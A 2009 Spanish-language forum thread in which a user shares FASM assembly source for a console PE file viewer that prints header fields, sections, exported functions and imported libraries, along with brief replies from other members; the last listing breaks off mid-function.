Publicado por: YST en 4 Abril 2009, 21:01 pm
Cita de:  Karcrack en 04 Abril 2009, 14:11
Creo que al poner:

Código:
125*2*2
No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo
Cierto , no me habia fijado .


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: BEATMASTER en 5 Abril 2009, 06:35 am
oorale que bien suena esto recientemente empeze a tener curiosidad de como sacar las funciones de una dll :P y mira con lo que me vengo a encontrar jaja servira de mucho sobre todo apra darme una idea de como lo ahces mm una pregunta :p te devulve el nombre de las funciones y tambien que parametros y valores devuelve? por cierto muy buenos codigos   ;-)


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 5 Abril 2009, 08:54 am
Los parametros de las api's sera imposible de sacar y los valores que devuelve , no no lo toma ya que hay la unica manera que encuentro es ahcel algo como un debugger y ver que manda a eax .


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: Arkangel_0x7C5 en 5 Abril 2009, 16:40 pm
el peso de los parámetros se podría sacar mirando los mov X ,[ebp + X], pero el tipo de valor debuelto no, porque en asm esencialmente solo hay unos pocos tipos, según el tamaño y punteros.

saludos


Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 5 Abril 2009, 19:56 pm
Claro , los parametros como mucho se les podria sacar peso y cantidad de parametros.


Título: SRCs de YST.
Publicado por: YST en 6 Abril 2009, 02:46 am
Hola , viendo una funcion desarrollada por un user de este foro , decidi hacer la mia propia ya que encontre que esta funcion se podia mejorar bastante , bueno se las dejo , el parametro que hay que pasarle es el "MZ" de  el archivo , lo pueden cargar con LoadLibrary si se quiere  ;).

Código
  1. proc EOFExtraDataExtract,FHandle
  2. push esi  ebx
  3. mov eax,[FHandle]
  4. mov esi,dword[eax+03ch] ;Offset to start of PE header
  5. add esi,eax
  6. movzx ebx, word[esi+06h] ;Number Of Sections
  7. dec ebx
  8. mov eax,28h
  9. mul ebx
  10. add esi,0xf8 ;START OF SECTION TABLE
  11. add esi,eax
  12. mov eax,dword[esi+10h] ;SizeOfRawData
  13. add eax,dword[esi+14h]  ;pointerToRawData
  14. pop ebx esi
  15. ret
  16. endp


Título: SRCs de YST.
Publicado por: YST en 6 Abril 2009, 03:44 am
Hola , basado en el visor PE de novirusthanks.org hice un modesto visor PE
Código
  1. format pe console
  2. Espacio equ 13,10,0
  3. include 'win32ax.inc'
  4. .data
  5. Logo db '===================================',13,10
  6.     db '= Humilde visor PE by YST         =',13,10
  7.     db '===================================',13,10,0
  8. RutaArch  rb MAX_PATH
  9. HA dd ?
  10. bEscritos dd ?
  11. Log dd ?
  12. CrearLOG rb 10
  13. .code
  14. start:
  15. invoke printf,Logo
  16. invoke printf,Espacio
  17. invoke printf,"Ponga la ruta a escanear: "
  18. invoke printf,Espacio
  19. invoke scanf,"%s",RutaArch
  20.  
  21. invoke printf,Espacio
  22. invoke printf,Espacio
  23.  
  24. invoke LoadLibrary,RutaArch
  25. stdcall Visualisar,eax
  26. invoke ExitProcess,0
  27. proc Visualisar,FHandle
  28. push edi esi  ebx
  29. .if [FHandle] = NULL
  30. jmp .error
  31. .endif
  32.  
  33.  
  34. mov eax,[FHandle]
  35. cmp word[eax],"MZ"
  36. jne .error
  37.  
  38. mov eax,[FHandle]
  39. mov esi,dword[eax+03ch] ;Offset to start of PE header
  40. invoke printf,"%s","start of PE header: "
  41.  
  42. invoke printf,"0x%x",esi
  43. invoke printf,"%s",Espacio
  44. add esi,[FHandle]
  45. movzx ebx, word[esi+06h] ;Number Of Sections
  46. invoke printf,"%s","TimeDateStamp: "
  47. invoke printf,"0x%x",dword[esi+8h]
  48. invoke printf,"%s",Espacio
  49.  
  50. invoke printf,"%s","SizeOfCode: "
  51. invoke printf,"0x%x",dword[esi+1ch]
  52. invoke printf,"%s",Espacio
  53. invoke printf,"%s","Address Of Entry Point: "
  54. invoke printf,"0x%x",dword[esi+28h]
  55. invoke printf,"%s",Espacio
  56. invoke printf,"%s","ImageBase: "
  57. invoke printf,"0x%x",dword[esi+34h]
  58. invoke printf,"%s",Espacio
  59.  
  60. invoke printf,"%s","SizeOfImage: "
  61. invoke printf,"0x%x",dword[esi+50h]
  62. invoke printf,"%s",Espacio
  63.  invoke printf,"%s","SizeOfHeaders : "
  64. invoke printf,"0x%x",dword[esi+54h]
  65. invoke printf,"%s",Espacio
  66.   invoke printf,"%s","CheckSum : "
  67. invoke printf,"0x%x",dword[esi+58h]
  68. invoke printf,"%s",Espacio
  69. invoke printf,"%s","Subsystem: "
  70. .if dword[esi+5Ch] = 2h
  71. invoke printf,"%s","Windows GUI"
  72. .else
  73.  invoke printf,"%s","Windows CUI"
  74.  .endif
  75.    invoke printf,"%s",Espacio
  76.  
  77.     invoke printf,"%s","Posicion de el EOF: "
  78.  stdcall EOFExtraDataExtract,[FHandle]
  79. invoke printf,"0x%x",eax
  80.   invoke printf,"%s",Espacio
  81. invoke printf,"%s",Espacio
  82.   invoke printf,"         SECTION'S         "
  83. invoke printf,"%s",Espacio
  84.   invoke printf,"%s",Espacio
  85.      invoke printf,"%s","Numero de secciones: "
  86.      invoke printf,"0x%x",ebx
  87.      invoke printf,"%s",Espacio
  88.   invoke printf,"%s",Espacio
  89. .bucle:
  90. dec ebx
  91. mov eax,28h
  92. mul ebx
  93. add eax,0xf8
  94. add eax,esi
  95. mov edi,eax
  96. invoke printf,"Name: "
  97. invoke printf,"%s",edi
  98. invoke printf,"%s",Espacio
  99. invoke printf,"virtual address: "
  100. invoke printf,"0x%x",dword[edi+0ch]
  101. invoke printf,"%s",Espacio
  102. invoke printf,"VirtualSize : "
  103. invoke printf,"0x%x",dword[edi+08h]
  104. invoke printf,"%s",Espacio
  105. invoke printf,"SizeOfRawData: "
  106. invoke printf,"0x%x",dword[edi+10h]
  107. invoke printf,"%s",Espacio
  108. invoke printf,"pointerToRawData : "
  109. invoke printf,"0x%x",dword[edi+14h]
  110. invoke printf,"%s",Espacio
  111. invoke printf,"Characteristics : "
  112. invoke printf,"0x%x",dword[edi+24h]
  113. invoke printf,"%s",Espacio
  114. invoke printf,"%s",Espacio
  115. invoke printf,"%s",Espacio
  116.  
  117. cmp ebx,0
  118. jne .bucle
  119.  
  120. mov eax,[FHandle]
  121. add eax,dword[eax+3ch]
  122. .if dword[eax+78h]  = 0
  123. .else
  124.   invoke printf,"         EXPORT         "
  125. invoke printf,"%s",Espacio
  126.   invoke printf,"%s",Espacio
  127. stdcall ListarFunciones,[FHandle]
  128. .endif
  129. ;ListarImport
  130. invoke printf,"     Import's "
  131. invoke printf,Espacio
  132. invoke printf,Espacio
  133. mov eax,[FHandle]
  134. add eax,dword[eax+3ch]
  135. .if dword[eax+80h]  = 0
  136. invoke printf,"No incluye librerias ( .dll ) ."
  137. .else
  138. stdcall ListarImport ,[FHandle]
  139. .endif
  140. pop ebx esi   edi
  141. ret
  142. .error:
  143. invoke printf,"Ingrese un archivo valido."
  144. pop ebx esi   edi
  145. ret
  146. endp
  147. proc EOFExtraDataExtract,FHandle
  148. push esi  ebx
  149. mov eax,[FHandle]
  150. mov esi,dword[eax+03ch] ;Offset to start of PE header
  151. add esi,eax
  152. movzx ebx, word[esi+06h] ;Number Of Sections
  153. dec ebx
  154. mov eax,28h
  155. mul ebx
  156. add esi,0xf8 ;START OF SECTION TABLE
  157. add esi,eax
  158. mov eax,dword[esi+10h] ;SizeOfRawData
  159. add eax,dword[esi+14h]  ;pointerToRawData
  160. pop ebx esi
  161. ret
  162. endp
  163. proc ListarFunciones,LibHandle
  164. locals
  165. DirPEHeader dd ?
  166. PunteroPEHeader dd ?
  167. RVAofExportDirectory   dd ?
  168. NumberOfNames dd ?
  169. AddressOfNames dd ?
  170. endl
  171. push ebx  edx  edi  ecx
  172. mov eax,[LibHandle]
  173. cmp eax,NULL
  174. je .Error
  175. push dword[eax + 03Ch]
  176. pop  [DirPEHeader]
  177. push [DirPEHeader]
  178. pop [PunteroPEHeader]
  179. add  [PunteroPEHeader],eax
  180. mov ebx,[PunteroPEHeader]
  181. cmp word[ebx],"PE"
  182. jne .Error
  183. push dword[ebx+078h]
  184. pop [RVAofExportDirectory]
  185. mov ebx, [RVAofExportDirectory]
  186. add ebx,eax
  187. push dword[ebx+018h]
  188. pop [NumberOfNames]
  189. mov edx,[NumberOfNames]
  190. push dword[ebx+20h]
  191. pop [AddressOfNames]
  192. mov ebx,[NumberOfNames]
  193. invoke printf,"%s" ,"Cantidad de funciones exportadas: "
  194. invoke printf,"%d",[NumberOfNames]
  195.  invoke printf,Espacio
  196.    invoke printf,Espacio
  197.        invoke printf,"Funciones exportadas: "
  198.            invoke printf,Espacio
  199. mov        edi, [AddressOfNames]
  200.    add        edi,[LibHandle]
  201. .bucle:
  202. dec ebx
  203. mov        eax, [edi + ebx * 4]
  204. add eax,[LibHandle]
  205. invoke printf,"-%s",eax
  206.  invoke printf,Espacio
  207.  cmp ebx,0
  208.  jne .bucle
  209. pop  ecx edi edx ebx
  210. ret
  211. .Error:
  212. ret
  213. endp
  214. proc ListarImport,FHandle
  215. push eax ebx edi
  216. mov ebx,[FHandle]
  217. add ebx,dword[ebx+03ch]
  218. mov ebx,dword[ebx+80h]
  219. add ebx,[FHandle]
  220. xor edi,edi
  221. .bucle:
  222. mov eax,dword[ebx+0ch]
  223. add eax,[FHandle]
  224. .if eax = [FHandle]
  225. invoke printf,"Cantidad de librerias importadas: %d",edi
  226. invoke printf,Espacio
  227. ret
  228. .else
  229. inc edi
  230. invoke printf,"%s",eax
  231. invoke printf,Espacio
  232. .endif
  233. add ebx,14h
  234. jmp .bucle
  235. pop edi ebx eax
  236. ret
  237. endp
  238.  
  239. .end start


Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 18:22 pm
Actualizado ;D

Ahora estoy haciendo para que ponga las funciones importadas , si alguien tiene alguna idea que se le puede agregar la puede decir.


Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 6 Abril 2009, 18:53 pm
Muy bueno lo que andas haciendo con este asm, sigue así  :)


Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 19:56 pm
Muy bueno lo que andas haciendo con este asm, sigue así  :)

Muchas gracias :D , en unos minutos pasare el code en limpio.


Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 23:07 pm
Ordenando el codigo de a poco.

Código
  1. format pe console
  2. include 'win32ax.inc'
  3. .data
  4. Espacio equ 13,10,0   ;Para pasar a una nueva linea.
  5. RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
  6. PunteroPEheader dd ? ; Puntero de el Pe header
  7. Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
  8.     db '                      =         PE visor by YST         =',13,10
  9.     db '                      ===================================',13,10,0
  10.  
  11. LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
  12.            db '                      =           General               =',13,10
  13.            db '                      ===================================',13,10,0
  14.  
  15. LogoSecciones db '                      ===================================',13,10
  16.              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
  17.              db '                      ===================================',13,10,0
  18.  
  19. LogoExport    db '                      ===================================',13,10
  20.              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
  21.              db '                      ===================================',13,10,0
  22. FHandle dd ?  ; MZ de el archivo
  23. .code
  24. start:
  25. invoke system,"color 3" ;Ponemos el color de texto
  26. invoke printf,Logo      ;Imprimimos el logo
  27. invoke printf,Espacio   ;Ponemos dos nuevas lineas.
  28. invoke printf,Espacio
  29.  
  30. invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
  31. invoke printf,Espacio
  32. invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo
  33.  
  34. invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
  35. .if eax = 0     ; Si hay error
  36. invoke printf,"Hubo un error al cargar el archivo." ;Mostramos el error .
  37. invoke ExitProcess,0 ; Nos salimos.
  38. .else ; De lo contrario
  39. .if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
  40. mov [FHandle],eax      ; Guardamos el MZ en FHandle
  41. .else  ; De lo contrario
  42. invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
  43. invoke ExitProcess,0 ; Nos salimos.
  44. .endif ; Terminamos los if
  45. .endif
  46.  
  47. add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
  48. .if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
  49. mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
  50. .else  ; De lo contrario
  51. invoke printf,"No se a detectado PE header." ;Mostramos el error .
  52. invoke ExitProcess,0 ; Nos salimos.
  53. .endif ; Terminamos los if
  54. .endif
  55.  
  56. invoke printf,Espacio ; Pasamos a la siguiente linea.
  57. invoke printf,Espacio ; Pasamos a la siguiente linea.
  58. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
  59. invoke printf,Espacio ; Pasamos a la siguiente linea.
  60. invoke printf,Espacio ; Pasamos a la siguiente linea.
  61.  
  62. mov ebx,[FHandle]
  63. mov ebx,dword[ebx+03ch]
  64. invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
  65. invoke printf,Espacio ; Pasamos a la siguiente linea.
  66.  
  67. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
  68. invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
  69. invoke printf,Espacio ; Pasamos a la siguiente linea.
  70.  
  71.  
  72.  
  73. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
  74. invoke printf,Espacio ; Pasamos a la siguiente linea.
  75.  
  76.  
  77. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
  78. invoke printf,Espacio ; Pasamos a la siguiente linea.
  79.  
  80.  
  81. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
  82. invoke printf,Espacio ; Pasamos a la siguiente linea.
  83.  
  84.  
  85. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
  86. invoke printf,Espacio ; Pasamos a la siguiente linea.
  87.  
  88. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
  89. invoke printf,Espacio ; Pasamos a la siguiente linea.
  90.  
  91.  
  92. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
  93. invoke printf,Espacio ; Pasamos a la siguiente linea.
  94.  
  95. invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
  96. .if dword[ebx+5Ch] = 2h  ;SI es GUI
  97. invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
  98. .else             ; De lo contrario es CUI (Consola)
  99. invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
  100. .endif        ;Terminamos el if
  101. invoke printf,Espacio ; Pasamos a la siguiente linea.
  102. stdcall EOFExtraDataExtract,[FHandle]
  103. invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
  104. invoke printf,Espacio ; Pasamos a la siguiente linea.
  105.  
  106. invoke printf,Espacio ; Pasamos a la siguiente linea.
  107. invoke printf,Espacio ; Pasamos a la siguiente linea.
  108. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
  109. invoke printf,Espacio ; Pasamos a la siguiente linea.
  110. invoke printf,Espacio ; Pasamos a la siguiente linea.
  111.  
  112. mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
  113. movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.
  114.  
  115.  
  116.  
  117. invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
  118. invoke printf,Espacio ; Pasamos a la siguiente linea.
  119. invoke printf,Espacio ; Pasamos a la siguiente linea.
  120.  
  121. .bucleImprimeSecciones: ; Bucle que imprime secciones
  122. dec ebx    ;Les restamos uno a ebx
  123. mov eax,28h       ;Hacemos que eax sea igual a $28
  124. mul ebx           ;Multiplicamos ebx
  125. add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
  126. add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
  127. mov edi,eax       ;Guardamos eax en edi
  128. invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
  129. invoke printf,Espacio ; Pasamos a la siguiente linea.
  130. invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
  131. invoke printf,Espacio  ; Pasamos a la siguiente linea
  132. invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
  133. invoke printf,Espacio  ; Pasamos a la siguiente linea
  134. invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
  135. invoke printf,Espacio  ; Pasamos a la siguiente linea
  136. invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
  137. invoke printf,Espacio  ; Pasamos a la siguiente linea
  138. invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
  139. invoke printf,Espacio  ; Pasamos a la siguiente linea
  140. invoke printf,Espacio  ; Pasamos a la siguiente linea
  141. invoke printf,Espacio  ; Pasamos a la siguiente linea
  142.  
  143. cmp ebx,0
  144. jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
  145.  
  146. invoke printf,Espacio ; Pasamos a la siguiente linea.
  147. invoke printf,Espacio ; Pasamos a la siguiente linea.
  148. invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
  149. invoke printf,Espacio ; Pasamos a la siguiente linea.
  150. invoke printf,Espacio ; Pasamos a la siguiente linea.
  151.  
  152. .if dword[esi+078h] = 0    ; Si no hay export data
  153. invoke printf,"No se exporta ninguna funcion."
  154. invoke printf,Espacio ; Pasamos a la siguiente linea.
  155. .else
  156. mov ebx,dword[esi+078h]
  157. add ebx,[FHandle]
  158. invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
  159. invoke printf,Espacio ; Pasamos a la siguiente linea.          +
  160. mov edi,dword[ebx+20h]   ;AddressOfNames
  161. add edi,[FHandle]
  162. mov ebx,dword[ebx+18h]   ;Numero de exports
  163. invoke printf,"Funciones exportadas: "
  164.  invoke printf,Espacio
  165. .bucleExportData:           ;Bucle para imprimir la export data
  166. dec ebx
  167. mov        eax, [edi + ebx * 4]
  168. add eax,[FHandle]
  169. invoke printf,"-%s",eax
  170.  invoke printf,Espacio
  171.  cmp ebx,0
  172.  jne .bucleExportData  ;Si no se an imprimido todas seguimos
  173. .endif
  174.  
  175. invoke system,"pause"
  176. invoke ExitProcess,0
  177.  
  178. proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
  179. push esi  ebx
  180. mov eax,[FHandle]
  181. mov esi,dword[eax+03ch] ;Offset to start of PE header
  182. add esi,eax
  183. movzx ebx, word[esi+06h] ;Number Of Sections
  184. dec ebx
  185. mov eax,28h
  186. mul ebx
  187. add esi,0xf8 ;START OF SECTION TABLE
  188. add esi,eax
  189. mov eax,dword[esi+10h] ;SizeOfRawData
  190. add eax,dword[esi+14h]  ;pointerToRawData
  191. pop ebx esi
  192. ret
  193. endp
  194.  
  195.  
  196. .end start
  197. section '.reloc' fixups data discardable


Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 07:01 am
Se actualiza el visor pe , ahora listando el import data  ;)
Código
  1. format pe console
  2. include 'win32ax.inc'
  3. .data
  4. Espacio equ 13,10,0   ;Para pasar a una nueva linea.
  5. RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
  6. PunteroPEheader dd ? ; Puntero de el Pe header
  7. Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
  8.     db '                      =         PE visor by YST         =',13,10
  9.     db '                      ===================================',13,10,0
  10.  
  11. LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
  12.            db '                      =           General               =',13,10
  13.            db '                      ===================================',13,10,0
  14.  
  15. LogoSecciones db '                      ===================================',13,10
  16.              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
  17.              db '                      ===================================',13,10,0
  18.  
  19. LogoExport    db '                      ===================================',13,10
  20.              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
  21.              db '                      ===================================',13,10,0
  22. LogoImport    db '                      ===================================',13,10
  23.              db '                      =           Import data           =',13,10     ;LOGO DE INFO DE el import data
  24.              db '                      ===================================',13,10,0
  25. FHandle dd ?  ; MZ de el archivo
  26. .code
  27. start:
  28. invoke system,"color 3" ;Ponemos el color de texto
  29. invoke printf,Logo      ;Imprimimos el logo
  30. invoke printf,Espacio   ;Ponemos dos nuevas lineas.
  31. invoke printf,Espacio
  32.  
  33. invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
  34. invoke printf,Espacio
  35. invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo
  36.  
  37. invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
  38. .if eax = 0     ; Si hay error
  39. invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
  40. invoke printf,RutaArchivo
  41. invoke ExitProcess,0 ; Nos salimos.
  42. .else ; De lo contrario
  43. .if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
  44. mov [FHandle],eax      ; Guardamos el MZ en FHandle
  45. .else  ; De lo contrario
  46. invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
  47. invoke ExitProcess,0 ; Nos salimos.
  48. .endif ; Terminamos los if
  49. .endif
  50.  
  51. add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
  52. .if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
  53. mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
  54. .else  ; De lo contrario
  55. invoke printf,"No se a detectado PE header." ;Mostramos el error .
  56. invoke ExitProcess,0 ; Nos salimos.
  57. .endif ; Terminamos los if
  58. .endif
  59.  
  60. invoke printf,Espacio ; Pasamos a la siguiente linea.
  61. invoke printf,Espacio ; Pasamos a la siguiente linea.
  62. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
  63. invoke printf,Espacio ; Pasamos a la siguiente linea.
  64. invoke printf,Espacio ; Pasamos a la siguiente linea.
  65.  
  66. mov ebx,[FHandle]
  67. mov ebx,dword[ebx+03ch]
  68. invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
  69. invoke printf,Espacio ; Pasamos a la siguiente linea.
  70.  
  71. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
  72. invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
  73. invoke printf,Espacio ; Pasamos a la siguiente linea.
  74.  
  75.  
  76.  
  77. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
  78. invoke printf,Espacio ; Pasamos a la siguiente linea.
  79.  
  80.  
  81. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
  82. invoke printf,Espacio ; Pasamos a la siguiente linea.
  83.  
  84.  
  85. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
  86. invoke printf,Espacio ; Pasamos a la siguiente linea.
  87.  
  88.  
  89. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
  90. invoke printf,Espacio ; Pasamos a la siguiente linea.
  91.  
  92. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
  93. invoke printf,Espacio ; Pasamos a la siguiente linea.
  94.  
  95.  
  96. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
  97. invoke printf,Espacio ; Pasamos a la siguiente linea.
  98.  
  99. invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
  100. .if dword[ebx+5Ch] = 2h  ;SI es GUI
  101. invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
  102. .else             ; De lo contrario es CUI (Consola)
  103. invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
  104. .endif        ;Terminamos el if
  105. invoke printf,Espacio ; Pasamos a la siguiente linea.
  106. stdcall EOFExtraDataExtract,[FHandle]
  107. invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
  108. invoke printf,Espacio ; Pasamos a la siguiente linea.
  109.  
  110. invoke printf,Espacio ; Pasamos a la siguiente linea.
  111. invoke printf,Espacio ; Pasamos a la siguiente linea.
  112. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
  113. invoke printf,Espacio ; Pasamos a la siguiente linea.
  114. invoke printf,Espacio ; Pasamos a la siguiente linea.
  115.  
  116. mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
  117. movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.
  118.  
  119.  
  120.  
  121. invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
  122. invoke printf,Espacio ; Pasamos a la siguiente linea.
  123. invoke printf,Espacio ; Pasamos a la siguiente linea.
  124.  
  125. .bucleImprimeSecciones: ; Bucle que imprime secciones
  126. dec ebx    ;Les restamos uno a ebx
  127. mov eax,28h       ;Hacemos que eax sea igual a $28
  128. mul ebx           ;Multiplicamos ebx
  129. add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
  130. add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
  131. mov edi,eax       ;Guardamos eax en edi
  132. invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
  133. invoke printf,Espacio ; Pasamos a la siguiente linea.
  134. invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
  135. invoke printf,Espacio  ; Pasamos a la siguiente linea
  136. invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
  137. invoke printf,Espacio  ; Pasamos a la siguiente linea
  138. invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
  139. invoke printf,Espacio  ; Pasamos a la siguiente linea
  140. invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
  141. invoke printf,Espacio  ; Pasamos a la siguiente linea
  142. invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
  143. invoke printf,Espacio  ; Pasamos a la siguiente linea
  144. invoke printf,Espacio  ; Pasamos a la siguiente linea
  145. invoke printf,Espacio  ; Pasamos a la siguiente linea
  146.  
  147. cmp ebx,0
  148. jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
  149.  
  150. invoke printf,Espacio ; Pasamos a la siguiente linea.
  151. invoke printf,Espacio ; Pasamos a la siguiente linea.
  152. invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
  153. invoke printf,Espacio ; Pasamos a la siguiente linea.
  154. invoke printf,Espacio ; Pasamos a la siguiente linea.
  155.  
  156. .if dword[esi+078h] = 0    ; Si no hay export data
  157. invoke printf,"[+]No se exporta ninguna funcion."
  158. invoke printf,Espacio ; Pasamos a la siguiente linea.
  159. .else
  160. mov ebx,dword[esi+078h]
  161. add ebx,[FHandle]
  162. invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
  163. invoke printf,Espacio ; Pasamos a la siguiente linea.          +
  164. mov edi,dword[ebx+20h]   ;AddressOfNames
  165. add edi,[FHandle]
  166. mov ebx,dword[ebx+18h]   ;Numero de exports
  167. invoke printf,"Funciones exportadas: "
  168.  invoke printf,Espacio
  169. .bucleExportData:           ;Bucle para imprimir la export data
  170. dec ebx
  171. mov        eax, [edi + ebx * 4]
  172. add eax,[FHandle]
  173. invoke printf,"[+]%s",eax
  174.  invoke printf,Espacio
  175.  cmp ebx,0
  176.  jne .bucleExportData  ;Si no se an imprimido todas seguimos
  177. .endif
  178. invoke printf,LogoImport
  179. invoke printf,Espacio
  180. invoke printf,Espacio
  181.  mov eax,[PunteroPEheader]
  182. .if  dword[eax+80h] = NULL  ;Si no importamos ninguna funcion.
  183. invoke printf,"[+]No importa ninguna funcion."
  184. .else;De lo contrario
  185. stdcall Sacaimport,[FHandle]
  186. .endif
  187. invoke system,"pause"
  188. invoke ExitProcess,0
  189.  
  190. proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
  191. push esi  ebx
  192. mov eax,[FHandle]
  193. mov esi,dword[eax+03ch] ;Offset to start of PE header
  194. add esi,eax
  195. movzx ebx, word[esi+06h] ;Number Of Sections
  196. dec ebx
  197. mov eax,28h
  198. mul ebx
  199. add esi,0xf8 ;START OF SECTION TABLE
  200. add esi,eax
  201. mov eax,dword[esi+10h] ;SizeOfRawData
  202. add eax,dword[esi+14h]  ;pointerToRawData
  203. pop ebx esi
  204. ret
  205. endp
  206. proc Sacaimport ,handle
  207. locals
  208. Export dd ?
  209. endl
  210. pushad
  211. mov eax,[handle]
  212. mov ebx,dword[eax+03ch]
  213. add ebx,eax
  214. mov ebx,dword[ebx+80h]
  215. add ebx,eax
